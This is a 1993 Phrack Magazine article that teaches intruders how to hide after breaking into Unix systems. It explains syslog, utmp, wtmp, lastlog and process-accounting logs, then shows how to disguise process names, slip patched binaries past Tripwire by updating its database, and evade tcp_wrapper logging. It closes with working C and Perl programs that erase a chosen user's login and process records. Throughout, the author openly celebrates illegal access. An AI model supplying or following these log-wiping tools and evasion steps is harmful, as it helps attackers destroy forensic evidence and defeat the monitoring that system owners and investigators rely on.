phrack/issue43/14.txt

 
                              ==Phrack Magazine==

                 Volume Four, Issue Forty-Three, File 14 of 27

#!/bin/sh
# Playing Hide and Seek, Unix style.
# By Phreak Accident
#
# A "how-to" in successfully hiding and removing your electronic footprints
# while gaining unauthorized access to someone else's computer system (Unix in
# this case).


# Start counting ..

  Hmm.  Sucks don't it? Breaking into a system but only to have your access
cut off the next day.  Right before you had the chance to download that 2
megabyte source code file you have been dying to get all year.

  Why was the access cut?  Damn, you forgot to nuke that .rhosts file that
you left in the root directory.  Or maybe it was the wtmp entries you didn't
bother to edit.  Or perhaps the tcp_wrapper logs that you didn't bother to
look for.  Whatever it was, it just screwed your access and perhaps, just
got you busted.


----  Simulated incident report follows:

From: mark@abene.com (Mark Dorkenski)
Message-Id: <9305282324.AA11445@jail.abene.com>
To: incident-report@cert.org
Subject: Cracker Breakin
Status: RO

To whom it may concern,

   Last night 2 of our machines were penetrated by an unauthorized
user.  Apparently the cracker (or crackers) involved didn't bother
to clean up after they left.

   The following are logs generated from the time the break-in
occurred.

[/usr/adm/wtmp]:

oracle    ttyp1    192.148.8.15     Tue May 11 02:12 - 04:00  (02:12)
sync      ttyp2    192.148.8.15     Tue May 11 01:47 - 01:47  (00:00)
robert    console                   Mon May 10 06:00 - 04:15  (22:14)
reboot    ~                         Mon May 10 05:59
shutdown  ~                         Sun May  9 11:04

[/usr/adm/messages]:

May  11 02:02:54 abene.com login: 3 LOGIN FAILURES FROM 192.148.8.15
May  11 02:00:32 abene.com login: 4 LOGIN FAILURES FROM 192.148.8.15

[/usr/adm/pacct]:

ls         -     oracle   ttyp1      0.00 secs Tue May  2 19:37
cat        -     oracle   ttyp1      0.00 secs Tue May  2 19:37
ls         -     oracle   ttyp1      0.00 secs Tue May  2 19:37
ls         -     oracle   ttyp1      0.00 secs Tue May  2 19:37
rdist      -     root     ttyp1      0.00 secs Tue May  2 19:37
sh         -     root     ttyp0      0.00 secs Tue May  2 19:37
ed         -     root     ttyp0      0.00 secs Tue May  2 19:37
rlogin     -     root     ttyp0      0.00 secs Tue May  2 19:37
ls         -     root     ttyp0      0.00 secs Tue May  2 19:37
more       -     root     ttyp0      0.00 secs Tue May  2 19:34


We have found and plugged the areas of vulnerability and have restored
original binaries back to the system.  We have already informed the proper
authorities of the breakin, including the domain contact at the remote
host in question.

Can you please relay any information regarding incident reports in our
area?


      Mark Dorkenski
      Network Operations

----  End of incident report

  Hey, it's human nature to be careless and lazy.  But, when you're a hacker,
and you're illegally breaking into computer systems this isn't a luxury that
you can afford.  Your efforts in penetrating have to be exact, concise,
sharp, witty and skillful.  You have to know when to retreat, run, hide,
pounce or spy.  Let us put it this way, when you get your feet muddy and
walk on new carpet without cleaning it up, you're gonna get spanked.

  I can't tell you how many times I've see a hacker break into a system and
leave their muddy footprints all over the system.  Hell, a quarter of the
hosts on the Internet need to be steam-cleaned.

  This is sad.  Especially since you could have had the ability to do the
washing yourself.  Why bother cracking systems if you leave unauthorized login
messages on the console for the administrators?  Beats me.

  This article is about hiding your access--the little tricks of the trade
that keep you unnoticed and hidden from that evil bastard, the system
administrator.

  I should probably start by explaining exactly where common accounting/log
files are kept and their roles in keeping/tracking system information.

# Drinking jolt and jerking the logs

  Syslog(3),  The "Big Daddy" of logging daemons, is the master of all system
accounting and log reporting.  Most system components and applications
depend on syslogd to deliver the information (accounting, errors, etc.) to
the appropriate place.  Syslog (syslogd) reads a configuration file
(/etc/syslog.conf) on startup to determine what facilities it will support.

  Syslog ususally has the following facilities and priorities:

  Facilities: kern user mail daemon auth syslog lpr news uucp
  Priorities: emerg alert crit err warning notice info debug

  Facilities are the types of accounting that occur and priorities are the
level of urgency that the facilities will report.  Most facilities are
divided and logged into separate accounting files.  The common being daemon,
auth, syslog, and kern.

  Priorities are encoded as a facility and a level.  The facility usually
describes the part of the system generating the message. Priorities are
defined in <sys/syslog.h>.

  In order to by-pass or suspend system accounting it is necessary to
understand how it works.  With syslog, it is important to know how to
read and determine where accounting files are delivered.  This entails
understanding how syslog configures itself for operation.

# Reading and understanding /etc/syslog.conf.

  Lines in the configuration file have a selector to determine the
message priorities to which the line applies and an action.  The action
fields are separated from the selector by one or more tabs.

  Selectors are semicolon separated lists of priority specifiers.  Each
priority has a facility describing the part of the system that generated
the message, a dot, and a level indicating the severity of the message.
Symbolic names could be used.  An asterisk selects all facilities.  All
messages of the specified level or higher (greater severity) are
selected. More than one facility may be selected using commas to separate
them.  For example:

   *.emerg;mail,daemon.crit

  selects all facilities at the emerg level and the mail and daemon facil-
ities at the crit level.

  Known facilities and levels recognized by syslogd are those listed in
syslog(3) without the leading ``LOG_''. The additional facility ``mark''
has a message at priority LOG_INFO sent to it every 20 minutes (this may be
changed with the -m flag).  The ``mark'' facility is not enabled by a
facility field containing an asterisk.  The level ``none'' may be
used to disable a particular facility.  For example,

   *.debug;mail.none

   Sends all messages except mail messages to the selected file.

   The second part of each line describes where the message is to be logged
if this line is selected.  There are four forms:

   o A filename (beginning with a leading slash).  The file
 will be opened in append mode.

   o A hostname preceded by an at sign (``@'').  Selected
 messages are forwarded to the syslogd on the named host.

   o A comma separated list of users.  Selected messages are
 written to those users if they are logged in.

   o An asterisk.  Selected messages are written to all
 logged-in users.

   For example, the configuration file:

   kern,mark.debug /dev/console
   *.notice;mail.info /usr/spool/adm/syslog
   *.crit               /usr/adm/critical
   kern.err  @phantom.com
   *.emerg  *
   *.alert  erikb,netw1z
   *.alert;auth.warning ralph

   logs all kernel messages and 20 minute marks onto the system
console, all notice (or higher) level messages and all mail system messages
except debug messages into the file /usr/spool/adm/syslog, and all critical
messages into /usr/adm/critical; kernel messages of error severity or
higher are forwarded to ucbarpa.  All users will be informed of any
emergency messages, the users ``erikb'' and ``netw1z''  will be informed of
any alert messages, or any warning message (or higher) from the authorization
system.

   Syslogd creates the file /etc/syslog.pid, if possible, containing a
single line with its process id; this is used to kill or reconfigure
syslogd.

# System login records

  There are there basic areas (files) in which system login information is
stored.  These areas are:

  /usr/etc/wtmp
  /usr/etc/lastlog
  /etc/utmp

  The utmp file records information about who is currently using the
system.  The file is a sequence of entries with the following structure
declared in the include file (/usr/include/utmp.h):

            struct utmp {
                  char    ut_line[8];             /* tty name */
                  char    ut_name[8];             /* user id */
                  char    ut_host[16];            /* host name, if remote */
                  long    ut_time;                /* time on */
            };

  This structure gives the name of the special file associated
with the user's terminal, the user's login name, and the
time of the login in the form of time(3C).  This will vary from platform
to platform.  Since Sun Microsystems ships SunOs with a world writable
/etc/utmp, you can easily take yourself out of any who listing.

  The wtmp file records all logins and logouts.  A null username
indicates a logout on the associated terminal.  Furthermore, the terminal
name `~' indicates that the system was rebooted at the indicated time;
the adjacent pair of entries with terminal names `|' and `{' indicate the
system maintained time just before and just after a date command has
changed the system's idea of the time.

  Wtmp is maintained by login(1) and init(8).  Neither of these programs
creates the file, so if it is removed or renamed record-keeping is turned off.
Wtmp is used in conjunction with the /usr/ucb/last command.

  /usr/adm/lastlog is used by login(1) for storing previous login dates, times,
and connection locations.  The structure for lastlog is as follows:

            struct lastlog {
                  time_t  ll_time;
                  char    ll_line[8];
                  char    ll_host[16];
            };

  The structure for lastlog is quite simple.  One entry per UID, and it is
stored in UID order.

  Creating a lastlog and wtmp editor is quite simple.  Example programs are
appended at the end of this file.

# System process accounting

  Usually, the more security-conscience systems will have process accounting
turned on which allows the system to log every process that is spawned.
/usr/adm/acct or /usr/adm/pacct are the usual logfiles that store the
accounting data.  These files can grow quite large as you can imagine, and
are sometimes shrunk by other system applications and saved in a compressed
format as /usr/adm/savacct or something similar.

  Usually, if the accounting file is there with a 0 byte length then you can
rest assured that they are not keeping process accounting records.  If they
are however, there are really only two methods of hiding yourself from this
form of accounting.  One, you can suspend or stop process accounting (
which is usually done with the "accton" command) or you can edit the existing
process logfile and "wipe" your incriminating records.

  Here is the common structure for the process accounting file:

  struct  acct
  {
        char    ac_comm[10];            /* Accounting command name */
        comp_t  ac_utime;               /* Accounting user time */
        comp_t  ac_stime;               /* Accounting system time */
        comp_t  ac_etime;               /* Accounting elapsed time */
        time_t  ac_btime;               /* Beginning time */
        uid_t   ac_uid;                 /* Accounting user ID */
        gid_t   ac_gid;                 /* Accounting group ID */
        short   ac_mem;                 /* average memory usage */
        comp_t  ac_io;                  /* number of disk IO blocks */
        dev_t   ac_tty;                 /* control typewriter */
        char    ac_flag;                /* Accounting flag */
   };

  It is extremely tricky to remove all of your account records since if you
do use a program to remove them, the program that you run to wipe the
records will still have a process that will be appended to the logfile
after it has completed.

  An example program for removing process accounting records is included
at the end of this article.

  Most sysadmins don't pay real attention to the process logs, since they
do tend to be rather large and grow fast.  However, if they notice that a
break-in has occurred, this is one of the primary places they will look for
further evidence.

  On the other hand, for normal system monitoring, you should be more worried
about your "active" processes that might show up in a process table listing
(such as ps or top).

  Most platforms allow the general changing of the process name without having
any kind of privileges to do so.  This is done with a simple program as noted
below:

  #include <stdio.h>
  #include <string.h>

  int main(argc, argv)
      int argc;
      char **argv;
  {
    char *p;

    for (p = argv[0]; *p; p++)
        *p = 0;

    strcpy(argv[0], "rn");

    (void) getchar ();  /* to allow you to see that ps reports "rn" */
    return(0);
  }

  Basically, this program waits for a key-stroke and then exits.  But,
while it's waiting, if you were to lookup the process it would show the name
as being "rn".  You're just actually re-writing the argument list of the
spawned process.  This is a good method of hiding your process or program
names ("crack", "hackit", "icmpnuker").  Its a good idea to use this method
in any "rogue" programs you might not want to be discovered by a system
administrator.

  If you cant corrupt your process arguments, rename your program to something
that at least looks normal on the system.  But, if you do this, make sure that
you don't run the command as "./sh" or "./ping" .. Even this looks suspicious.
Put your current path in front of your PATH environment variable and avoid
this mistake.

# Tripping the wire

 That little piss-ant up at Purdue thinks he has invented a masterpiece..
I'll let his words explain what "Tripwire" is all about.  Then, i'll go over
some brief flaws in tripwire and how to circumvent it.

---- Tripwire README Introduction

  1.0.  Background
  ================

     With the advent of increasingly sophisticated and subtle
 account break-ins on Unix systems, the need for tools to aid in
 the detection of unauthorized modification of files becomes
 clear.  Tripwire is a tool that aids system administrators and
 users in monitoring a designated set of files for any changes.
 Used with system files on a regular (e.g., daily) basis, Tripwire
 can notify system administrators of corrupted or tampered files,
 so damage control measures can be taken in a timely manner.

  1.1.  Goals of Tripwire
  =======================


     Tripwire is a file integrity checker, a utility that compares
 a designated set of files against information stored in a
 previously generated database.  Any differences are flagged and
 logged, and optionally, a user is notified through mail.  When
 run against system files on a regular basis, any changes in
 critical system files will be spotted -- and appropriate damage
 control measures can be taken immediately.  With Tripwire, system
 administrators can conclude with a high degree of certainty that
 a given set of files remain free of unauthorized
 modifications if Tripwire reports no changes.

---- End of Tripwire excerpt

  Ok, so you know what tripwire does.  Yup, it creates signatures for all
files listed in a tripwire configuration file.  So, if you were to change
a file that is "tripwired", the proper authorities would be notified and your
changes could be recognized.  Gee.  That sounds great.  But there are a
couple of problems with this.

  First, tripwire wasn't made to run continuously (i.e., a change to a system
binary might not be noticed for several hours, perhaps days.)  This allows
somewhat of a "false" security for those admins who install tripwire.

  The first step in beating tripwire is to know if the system you are on
is running it.  This is trivial at best.  The default location where
tripwire installs its databases are /usr/adm/tcheck or /usr/local/adm/tcheck.

  The "tcheck" directory is basically made up of the following files:

  -rw-------  1 root         4867 tw.config
  drwxr-----  2 root          512 databases

  The file "tw.config" is the tripwire configuration file.  Basically, it's a
list if files that tripwire will create signatures for.  This file usually
consists of all system binaries, devices, and configuration files.

  The directory "databases" contains the actual tripwire signatures for
every system that is configured in tw.config.  The format for the database
filenames are tw.db_HOSTNAME.  An example signature entry might look like:

/bin/login 27 ../z/. 100755 901 1 0 0 50412 .g53Lz .g4nrh .g4nrt 0 1vOeWR/aADgc0
oQB7C1cCTMd 1T2ie4.KHLgS0xG2B81TVUfQ 0 0 0 0 0 0 0

   Nothing to get excited about.  Basically it is a signature encrypted in one
of the many forms supplied by tripwire.  Hard to forge, but easy to bypass.

   Tripwire takes a long time to check each file or directory listed in
the configuration file.  Therefore, it is possible to patch or change a system
file before tripwire runs a signature check on it.  How does one do this?
Well, let me explain some more.

   In the design of tripwire, the databases are supposed to be kept either on
a secure server or a read-only filesystem.  Usually, if you would want to
patch a system binary 9 times out of 10 you're going to want to have root
access.  Having root access to by-pass tripwire is a must.  Therefore, if you
can obtain this access then it is perfectly logical that you should be able to
remount a filesystem as Read/Write.  Once accomplished, after installing your
patched binary, all you have to do is:

   tripwire -update PATH_TO_PATCHED_BINARY

   Then, you must also:

   tripwire -update /usr/adm/tcheck/databases/tw.db_HOSTNAME
   (If they are making a signature for the tripwire database itself)

   You'll still be responsible for the changed inode times on the database.
But that's the risk you'll have to live with.  Tripewire wont detect the change
since you updated the database.  But an admin might notice the changed times.

# Wrapping up the wrappers

   Ta da.  You got the access.  uh-oh.  What if they are running a TCP
wrapper?  There are three basic ways they could be running a wrapper.

   1) They have modified /etc/inetd.conf and replaced the daemons they
      want to wrap with another program that records the incoming
      hostname and then spawns the correct daemon.

   2) They have replaced the normal daemons (usually in /usr/etc) with
      a program that records the hostname then launches the correct
      daemon.

   3) They have modified the actual wrappers themselves to record
      incoming connections.

  In order to bypass or disable them, you'll first need to know which
method they are using.

 First, view /etc/inetd.conf and check to see if you see something
similar to:

  telnet  stream  tcp     nowait  root    /usr/etc/tcpd     telnetd ttyXX

  This is a sure sign that they are running Wietse Venema's tcp_wrapper.

  If nothing is found in /etc/inetd.conf, check /usr/etc and check for any
abnormal programs such as "tcpd", "wrapd", and "watchcatd".  Finally, if
nothing is still found, try checking the actually daemons by running
"strings" on them and looking for logfiles or by using sum and comparing them
to another system of the same OS that you know is not using a wrapper.

  Okay, by now you know whether or not they have a wrapper installed.  If
so you will have to now decide what to do with the output of the wrapper.
You'll have to know where it put the information.  The most common wrapper
used is tcp_wrapper.  Here is another README excerpt detailing where the
actually output from the wraps are delivered.

---- Begin of tcp_wrapper README

  3.2 - Where the logging information goes
  ----------------------------------------

 The wrapper programs send their logging information to the syslog
 daemon (syslogd). The disposition of the wrapper logs is determined by
 the syslog configuration file (usually /etc/syslog.conf). Messages are
 written to files, to the console, or are forwarded to a @loghost.

 Older syslog implementations (still found on Ultrix systems) only
 support priority levels ranging from 9 (debug-level messages) to 0
 (alerts). All logging information of the same priority level (or more
 urgent) is written to the same destination.  In the syslog.conf file,
 priority levels are specified in numerical form.  For example,

 8/usr/spool/mqueue/syslog

 causes all messages with priority 8 (informational messages), and
 anything that is more urgent, to be appended to the file
 /usr/spool/mqueue/syslog.

 Newer syslog implementations support message classes in addition to
 priority levels.  Examples of message classes are: mail, daemon, auth
 and news. In the syslog.conf file, priority levels are specified with
 symbolic names: debug, info, notice, ..., emerg. For example,

     mail.debug   /var/log/syslog

 causes all messages of class mail with priority debug (or more urgent)
 to be appended to the /var/log/syslog file.

 By default, the wrapper logs go to the same place as the transaction
 logs of the sendmail daemon. The disposition can be changed by editing
 the Makefile and/or the syslog.conf file. Send a `kill -HUP' to the
 syslogd after changing its configuration file. Remember that syslogd,
 just like sendmail, insists on one or more TABs between the left-hand
 side and the right-hand side expressions in its configuration file.

---- End of tcp_wrapper README

  Usually just editing the output and hoping the sysadmin didnt catch the
the wrap will do the trick since nothing is output to the console
(hopefully).

# Example programs

  The following are short and sweet programs that give you the ability
to edit some of the more common logfiles found on most platforms.  Most
of these are pretty simple to compile, although some might need minor
porting and OS consideration changes in structures and configurations.

---- Begin of /etc/utmp editor:

/* This program removes utmp entries by name or number */

#include <utmp.h>
#include <stdio.h>
#include <sys/file.h>
#include <sys/fcntlcom.h>

void usage(name)
char *name;
{
    printf(stdout, "Usage: %s [ user ] or [ tty ]\n", name);
    exit(1);
}

main(argc,argv)
int argc;
char **argv;
{
    int fd;
    struct utmp utmp;
    int size;
    int match, tty = 0;

    if (argc!=2)
       usage(argv[0]);

    if ( !strncmp(argv[1],"tty",3) )
       tty++;

    fd = open("/etc/utmp",O_RDWR);
    if (fd >= 0)
    {
       size = read(fd, &utmp, sizeof(struct utmp));
       while ( size == sizeof(struct utmp) )
       {
          if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
            ( !strcmp(utmp.ut_name, argv[1]) ) )
          {
             lseek( fd, -sizeof(struct utmp), L_INCR );
             bzero( &utmp, sizeof(struct utmp) );
             write( fd, &utmp, sizeof(struct utmp) );
          }
          size = read( fd, &utmp, sizeof(struct utmp) );
       }
    }
    close(fd);
}

---- End of /etc/utmp editor

---- Begin of /usr/adm/wtmp editor:

/* This program removes wtmp entries by name or tty number */

#include <utmp.h>
#include <stdio.h>
#include <sys/file.h>
#include <sys/fcntlcom.h>

void usage(name)
char *name;
{
    printf("Usage: %s [ user | tty ]\n", name);
    exit(1);
}

void main (argc, argv)
int argc;
char *argv[];
{
    struct utmp utmp;
    int size, fd, lastone = 0;
    int match, tty = 0, x = 0;

    if (argc>3 || argc<2)
       usage(argv[0]);

    if (strlen(argv[1])<2) {
       printf("Error: Length of user\n");
       exit(1);
    }

    if (argc==3)
       if (argv[2][0] == 'l') lastone = 1;

    if (!strncmp(argv[1],"tty",3))
       tty++;

    if ((fd = open("/usr/adm/wtmp",O_RDWR))==-1) {
        printf("Error: Open on /usr/adm/wtmp\n");
        exit(1);
    }

    printf("[Searching for %s]:  ", argv[1]);

    if (fd >= 0)
    {
       size = read(fd, &utmp, sizeof(struct utmp));
       while ( size == sizeof(struct utmp) )
       {
          if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
            ( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) &&
              lastone != 1)
          {
             if (x==10)
                printf("\b%d", x);
             else
             if (x>9 && x!=10)
                printf("\b\b%d", x);
             else
                printf("\b%d", x);
             lseek( fd, -sizeof(struct utmp), L_INCR );
             bzero( &utmp, sizeof(struct utmp) );
             write( fd, &utmp, sizeof(struct utmp) );
             x++;
          }
          size = read( fd, &utmp, sizeof(struct utmp) );
       }
    }
    if (!x)
       printf("No entries found.");
    else
       printf(" entries removed.");
    printf("\n");
    close(fd);
}

---- End of /usr/adm/wtmp editor

---- Begin of /usr/adm/lastcomm editor:

#!/perl

package LCE;

$date = 'Sun Jul  4 20:35:36 CST 1993';
$title = 'LCE';
$author = 'Phreak Accident';
$version = '0.0';
$copyright = 'Copyright Phreak Accident';


#------------------------------------------------------------------------------
# begin getopts.pl

# Usage: &Getopts('a:bc');  # -a takes arg. -b & -c not. Sets opt_*.

sub Getopts {
    local($argumentative)=@_;
    local(@args,$_,$first,$rest,$errs);
    local($[)=0;

    @args=split(/ */, $argumentative );
    while(($_=$ARGV[0]) =~ /^-(.)(.*)/) {
	($first,$rest) = ($1,$2);
	$pos = index($argumentative,$first);
	if($pos >= $[) {
	    if($args[$pos+1] eq ':') {
		shift(@ARGV);
		if($rest eq '') {
		    $rest = shift(@ARGV);
		}
		eval "\$opt_$first = \$rest;";
	    }
	    else {
		eval "\$opt_$first = 1";
		if($rest eq '') {
		    shift(@ARGV);
		}
		else {
		    $ARGV[0] = "-$rest";
		}
	    }
	}
	else {
	    print STDERR "Unknown option: $first\n";
	    ++$errs;
	    if($rest ne '') {
		$ARGV[0] = "-$rest";
	    }
	    else {
		shift(@ARGV);
	    }
	}
    }
    $errs == 0;
}

#  end  getopts.pl
#------------------------------------------------------------------------------

sub Initialize {

  $TRUE = '1';                                  # '1' = TRUE  = '1'
  $FALSE = '';                                  # ''  = FALSE = ''

  &Getopts('a:u:o:');				# Parse command line options
  $acct = $opt_a || $ENV{'ACCT'} || '/var/adm/pacct';
  $user = $opt_u || $ENV{'USER'} || `/bin/whoami` || 'root';
  $outf = $opt_o || $ENV{'OUTF'} || './.pacct';

  select(STDOUT); $|++;
  close(I);
  open(I,'(cd /dev; echo tty*)|');
  $ttys=<I>;
  close(I);
  @ttys = split(/ /,$ttys);
  for $tty (@ttys) {
    ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
     $atime,$mtime,$ctime,$blksize,$blocks) = stat("/dev/$tty");
     $TTY{"$rdev"} = "$tty";
  }
  $TTY{'65535'} = 'NoTTY';

# Get passwd info --> id:passwd:uid:gid:name:home:shell
  close (I);
#  open(I,"cat /etc/passwd|");	# If you don't run nis...
  open(I,"ypcat passwd|");
  while (<I>) {
    chop;
    split(/:/);
    $PASSWD{"$_[$[+2]"}= $_[$[];
  }
  $PASSWD{"0"}= 'root';

# Get group info --> id:passwd:gid:members
  close (I);
#  open(I,"cat /etc/group|");	# If you don't run nis...
  open(I,"ypcat group | ");
  while (<I>) {
    chop;
    split(/:/);
    $GROUP{"$_[$[+2]"}= $_[$[];
  }
}
split(/ /,'Sun Mon Tue Wed Thu Fri Sat');
for ($x=$[ ; $x<$#_ ; $x++) {
  $DAY{"$x"} = $_[$x];
}
split(/ /,'Error Jan Feb Mar Apr MAy Jun Jul Aug Sep Oct Nov Dec');
for ($x=$[ ; $x<$#_ ; $x++) {
  $MONTH{"$x"} = $_[$x];
}

#------------------------------------------------------------------------------

sub LCE {
  &Initialize();
  open(I,"<$acct");
  close(O);
  open(O,">$outf");
  $template='CCSSSLSSSSSSA8';
  while (read(I,$buff,32)) {
    ($c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3) =
      unpack($template,$buff);
    ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
      localtime($bt);
    $mon++;
    $mon = "0$mon" if ($mon < 10);
    $mday = "0$mday" if ($mday < 10);
    $hour = "0$hour" if ($hour < 10);
    $min = "0$min" if ($min < 10);
    $sec = "0$sec" if ($sec < 10);
    $tt = localtime($bt);
    $flags='';
    if ($c1 & 0001) { $flags .= 'F'; }
    if ($c1 & 0002) { $flags .= 'S'; }
    if ($c1 & 0004) { $flags .= 'P'; }
    if ($c1 & 0010) { $flags .= 'C'; }
    if ($c1 & 0020) { $flags .= 'K'; }
    if ($c1 & 0300) { $flags .= 'A'; } 
    $c3 =~ s/\000.*$//;
    print STDOUT "$c3	$flags	$PASSWD{$u}/$GROUP{$g}	$TTY{$d}";
    print STDOUT "	$DAY{$wday} $hour:$min:$sec";
    if ($PASSWD{$u} eq $user) {
      print " [ERASED] ";
    } else {
      print O pack($template,$c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3);
    }
    print "\n";
  }
  close(O);
}

#------------------------------------------------------------------------------

&LCE();

#struct	acct
#  {
#  	char	ac_flag;		/* Accounting flag */
#  	char	ac_stat;		/* Exit status */
#  	uid_t	ac_uid;			/* Accounting user ID */
#  	gid_t	ac_gid;			/* Accounting group ID */
#  	dev_t	ac_tty;			/* control typewriter */
#  	time_t	ac_btime;		/* Beginning time */
#  	comp_t	ac_utime;		/* Accounting user time */
#  	comp_t	ac_stime;		/* Accounting system time */
#  	comp_t	ac_etime;		/* Accounting elapsed time */
#  	comp_t	ac_mem;			/* average memory usage */
#  	comp_t	ac_io;			/* chars transferred */
#  	comp_t	ac_rw;			/* blocks read or written */
#  	char	ac_comm[8];		/* Accounting command name */
#  };
#  
#  #define	AFORK	0001		/* has executed fork, but no exec */
#  #define  ASU 0002            /* used super-user privileges */
#  #define	ACOMPAT	0004		/* used compatibility mode */
#  #define	ACORE	0010		/* dumped core */
#  #define	AXSIG	0020		/* killed by a signal */
#  #define	ACCTF	0300		/* record type: 00 = acct */

---- End of /usr/adm/lastcomm editor

# All good things must come to an end

  In conclusion, you need to be smarter than the administrator.  Being
careless can get you busted.  Clean your footprints.  Watch the system.
Learn new tricks.  AND KEEP ON HACKING!

  Watch for my next article on 50 great system patches that will keep
your access just the way it is .. illegal.  Yaawhoo.

# End of article